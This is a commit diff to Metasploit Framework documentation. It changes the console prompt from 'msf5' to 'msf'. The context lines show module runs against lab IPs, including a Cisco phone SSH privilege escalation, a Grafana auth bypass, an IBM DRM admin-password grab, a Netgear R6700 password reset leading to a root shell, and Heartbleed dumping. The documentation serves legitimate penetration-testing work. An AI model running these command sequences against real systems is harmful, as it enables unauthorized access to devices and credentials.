Updates msf5 as well

Author: cgranleese-r7

docs/metasploit-framework.wiki/Hashes-and-Password-Cracking.md

@@ -18,7 +18,7 @@ puts identify_hash "_9G..8147mpcfKT8g0U."
 ```
 In practice, we receive the following output from this:
 ```ruby
-msf5 > irb
+msf > irb
 [*] Starting IRB shell...
 [*] You are in the "framework" object
 

docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md

@@ -12,7 +12,7 @@ msf auxiliary(oracle_login) > run
 ```
 or
 ```msf
-msf5 auxiliary(scanner/oracle/oracle_hashdump) > run
+msf auxiliary(scanner/oracle/oracle_hashdump) > run
 
 [-] Failed to load the OCI library: cannot load such file -- oci8
 [-] Try 'gem install ruby-oci8'

docs/metasploit-framework.wiki/Metasploit-URL-support-proposal.md

@@ -61,7 +61,7 @@ When the user views the options for a given module, it will be consolidated. The
 Multiple options are available for configuring the module options:
 
 ```msf
-msf5 exploit(multi/http/tomcat_mgr_upload) > options
+msf exploit(multi/http/tomcat_mgr_upload) > options
 
 Module options (exploit/multi/http/tomcat_mgr_upload):
 
@@ -88,7 +88,7 @@ Exploit target:
  Multiple options are consolidated into a single TARGETS field:
 
 ```msf
-msf5 exploit(multi/http/tomcat_mgr_upload) > options
+msf exploit(multi/http/tomcat_mgr_upload) > options
 
 Module options (exploit/multi/http/tomcat_mgr_upload):
 

docs/metasploit-framework.wiki/Work-needed-to-allow-msfdb-to-use-postgresql-common.md

@@ -163,12 +163,12 @@ Start `msfconsole` and verify postgresql connection using the `db_status` comman
 mv ~/.msf4/config ~/.msf4/config.disable
 ./msfconsole
 ...
-msf5 > db_status 
+msf > db_status 
 [*] Connected to msf. Connection type: postgresql.
 ```
 
 Drop (delete) the cluster:
 
 ```
 PG_CLUSTER_CONF_ROOT=$HOME/.local/etc/postgresql pg_dropcluster 9.6 msf
-```
+```

documentation/cli/msfconsole/jobs.md

@@ -81,12 +81,12 @@ Examples
 
 Starting a module as a job:
 
-    msf5 exploit(multi/handler) > run -j
+    msf exploit(multi/handler) > run -j
     [*] Exploit running as background job 1.
 
 A verbose listing of all the jobs:
 
-    msf5 exploit(multi/handler) > jobs -v
+    msf exploit(multi/handler) > jobs -v
 
     Jobs
     ====
@@ -97,16 +97,16 @@ A verbose listing of all the jobs:
 
 Set some jobs to be started on `msfconsole` start:
 
-    msf5 exploit(multi/handler) > jobs -p 1-2
+    msf exploit(multi/handler) > jobs -p 1-2
     Added persistence to job 1.
     Added persistence to job 2.
 
 Getting information about a specific job:
 
-    msf5 exploit(multi/handler) > jobs -i 1
+    msf exploit(multi/handler) > jobs -i 1
 
     Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
-    msf5 exploit(multi/handler) > jobs -i 1 -v
+    msf exploit(multi/handler) > jobs -i 1 -v
 
     Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
 

documentation/cli/msfconsole/repeat.md

@@ -30,8 +30,8 @@ Examples
 
 Run the heartbleed module every 10 seconds against a server for an hour:
 
-    msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
-    msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP
+    msf > use auxiliary/scanner/ssl/openssl_heartbleed
+    msf auxiliary(scanner/ssl/openssl_heartbleed) > set ACTION DUMP
     # Set other options...
-    msf5 auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10
+    msf auxiliary(scanner/ssl/openssl_heartbleed) > repeat -t 3600 run; sleep 10
 

documentation/modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.md

@@ -38,14 +38,14 @@ The desired username for setting SSH access
 #### Successful Scenario
 
 ```
-msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
+msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
 user => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
 pass => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
 rhosts => 192.168.110.209
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
 
 [*] Running for 192.168.110.209...
 [*] 192.168.110.209 - Attempting to set SSH credentials.
@@ -55,7 +55,7 @@ msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
 [*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected]
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf5 auxiliary(linux/ssh/cve_2020_16137) > exit
+msf auxiliary(linux/ssh/cve_2020_16137) > exit
 user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected]
 [email protected]'s password:
 
@@ -225,14 +225,14 @@ $>exit
 
 #### Unsuccessful Scenario
 ```
-msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
+msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
 user => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
 pass => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
 rhosts => 192.168.110.209
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
 
 [*] Running for 192.168.110.209...
 [*] 192.168.110.209 - Attempting to set SSH credentials.
@@ -246,14 +246,14 @@ msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
 #### Successful Scenario
 
 ```
-msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
+msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
 user => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
 pass => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
 rhosts => 192.168.110.209
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
 
 [*] Running for 192.168.110.209...
 [*] 192.168.110.209 - Attempting to set SSH credentials.
@@ -263,7 +263,7 @@ msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
 [*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected]
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf5 auxiliary(linux/ssh/cve_2020_16137) > exit
+msf auxiliary(linux/ssh/cve_2020_16137) > exit
 user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected]
 [email protected]'s password:
 
@@ -433,14 +433,14 @@ $>exit
 
 #### Unsuccessful Scenario
 ```
-msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
+msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc 
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
 user => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
 pass => test
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
 rhosts => 192.168.110.209
-msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
+msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
 
 [*] Running for 192.168.110.209...
 [*] 192.168.110.209 - Attempting to set SSH credentials.

documentation/modules/auxiliary/admin/http/grafana_auth_bypass.md

@@ -22,8 +22,8 @@ The following list shows the vulnerable versions of Grafana when configured for
   Example run against Grafana 3.x with username admin:
 
 ```
-msf5 > use auxiliary/admin/http/grafana_auth_bypass 
-msf5 auxiliary(admin/http/grafana_auth_bypass) > show options 
+msf > use auxiliary/admin/http/grafana_auth_bypass 
+msf auxiliary(admin/http/grafana_auth_bypass) > show options 
 
 Module options (auxiliary/admin/http/grafana_auth_bypass):
 
@@ -38,11 +38,11 @@ Module options (auxiliary/admin/http/grafana_auth_bypass):
    USERNAME                    no        Valid username
    VERSION    5                yes       Grafana version: "2-4" or "5" (Accepted: 2-4, 5)
 
-msf5 auxiliary(admin/http/grafana_auth_bypass) > set RHOSTS 192.168.202.3
+msf auxiliary(admin/http/grafana_auth_bypass) > set RHOSTS 192.168.202.3
 RHOSTS => 192.168.202.3
-msf5 auxiliary(admin/http/grafana_auth_bypass) > set USERNAME Administrator
+msf auxiliary(admin/http/grafana_auth_bypass) > set USERNAME Administrator
 USERNAME => Administrator
-msf5 auxiliary(admin/http/grafana_auth_bypass) > run
+msf auxiliary(admin/http/grafana_auth_bypass) > run
 
 [*] Running for 192.168.202.3...
 [+] Encrypted remember cookie: 1bedc565c40b58307afa4672efd72d3c37f02684c2deb0ce0b55594cbce337fc90625356dc232e998f

documentation/modules/auxiliary/admin/http/ibm_drm_download.md

@@ -25,7 +25,7 @@ Module defaults work very well, you should just need to set `RHOST` and the `FIL
 A successful exploit will look like this:
 
 ```
-msf5 auxiliary(admin/http/ibm_drm_file_download) > run
+msf auxiliary(admin/http/ibm_drm_file_download) > run
 
 [+] 10.9.8.213:8443 - Successfully "stickied" our session ID kmhleyPh
 [+] 10.9.8.213:8443 - We have obtained a new admin password 28010e88-6ffb-46e9-90d6-2ded732120d1

documentation/modules/auxiliary/admin/http/netgear_r6700_pass_reset.md

@@ -54,8 +54,8 @@ upnpd port on the target. Default 5000.
 ### Netgear R6700v3 firmware version V1.0.4.84_10.0.58
 
 ```
-    msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options
+    msf > use auxiliary/admin/http/netgear_r6700_pass_reset
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > show options
     
     Module options (auxiliary/admin/http/netgear_r6700_pass_reset):
     
@@ -67,13 +67,13 @@ upnpd port on the target. Default 5000.
        SSL      false            no        Negotiate SSL/TLS for outgoing connections
        VHOST                     no        HTTP server virtual host
     
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
     RHOSTS => 192.168.1.1
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > check
     
     [*] Target is running firmware version 1.0.4.84
     [*] 192.168.1.1:5000 - The target appears to be vulnerable.
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
     [*] Running module against 192.168.1.1
     
     [*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target.
@@ -93,24 +93,24 @@ upnpd port on the target. Default 5000.
     [*]     2.7- run it and login with 'admin:<WHATEVER>'
     [*] 3- Enjoy your root shell!
     [*] Auxiliary module execution completed
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) >
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) >
 ```
 
 Browsed to admin page and changed password to `testing123`, then in a new `msfconsole`
 session running as `root`, entered the following commands:
 
 ```
-    msf5 > use exploit/linux/telnet/netgear_telnetenable
+    msf > use exploit/linux/telnet/netgear_telnetenable
     [*] No payload configured, defaulting to cmd/unix/interact
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin
+    msf exploit(linux/telnet/netgear_telnetenable) > set username admin
     username => admin
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123
+    msf exploit(linux/telnet/netgear_telnetenable) > set password testing123
     password => testing123
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
+    msf exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
     MAC => D56C89FC94C9
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOSTS 192.168.1.1
+    msf exploit(linux/telnet/netgear_telnetenable) > set RHOSTS 192.168.1.1
     RHOSTS => 192.168.1.1
-    msf5 exploit(linux/telnet/netgear_telnetenable) > exploit
+    msf exploit(linux/telnet/netgear_telnetenable) > exploit
     
     [+] 192.168.1.1:23 - Detected telnetenabled on UDP
     [+] 192.168.1.1:23 - Using creds admin:testing123
@@ -147,8 +147,8 @@ session running as `root`, entered the following commands:
 ### Netgear R6700v3 firmware version V1.0.0.4.82_10.0.57
 
 ```
-    msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options
+    msf > use auxiliary/admin/http/netgear_r6700_pass_reset
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > show options
     
     Module options (auxiliary/admin/http/netgear_r6700_pass_reset):
     
@@ -160,13 +160,13 @@ session running as `root`, entered the following commands:
        SSL      false            no        Negotiate SSL/TLS for outgoing connections
        VHOST                     no        HTTP server virtual host
     
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1
     RHOSTS => 192.168.1.1
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > check
     
     [*] Target is running firmware version 1.0.4.82
     [*] 192.168.1.1:5000 - The target appears to be vulnerable.
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) > exploit
     [*] Running module against 192.168.1.1
     
     [*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.82_10.0.57) as the target.
@@ -186,16 +186,16 @@ session running as `root`, entered the following commands:
     [*]     2.7- run it and login with 'admin:<WHATEVER>'
     [*] 3- Enjoy your root shell!
     [*] Auxiliary module execution completed
-    msf5 auxiliary(admin/http/netgear_r6700_pass_reset) >
+    msf auxiliary(admin/http/netgear_r6700_pass_reset) >
 ```
 
 Browsed to admin page and changed password to `testing123`, then in a new `msfconsole`
 session running as `root`, entered the following commands:
 
 ```
-    msf5 > use exploit/linux/telnet/netgear_telnetenable
+    msf > use exploit/linux/telnet/netgear_telnetenable
     [*] No payload configured, defaulting to cmd/unix/interact
-    msf5 exploit(linux/telnet/netgear_telnetenable) > show options
+    msf exploit(linux/telnet/netgear_telnetenable) > show options
     
     Module options (exploit/linux/telnet/netgear_telnetenable):
     
@@ -226,15 +226,15 @@ session running as `root`, entered the following commands:
        0   Automatic (detect TCP or UDP)
     
     
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOST 192.168.1.1
+    msf exploit(linux/telnet/netgear_telnetenable) > set RHOST 192.168.1.1
     RHOST => 192.168.1.1
-    set msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin
+    set msf exploit(linux/telnet/netgear_telnetenable) > set username admin
     username => admin
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123
+    msf exploit(linux/telnet/netgear_telnetenable) > set password testing123
     password => testing123
-    msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
+    msf exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9
     MAC => D56C89FC94C9
-    msf5 exploit(linux/telnet/netgear_telnetenable) > exploit
+    msf exploit(linux/telnet/netgear_telnetenable) > exploit
     
     [+] 192.168.1.1:23 - Detected telnetenabled on UDP
     [+] 192.168.1.1:23 - Using creds admin:testing123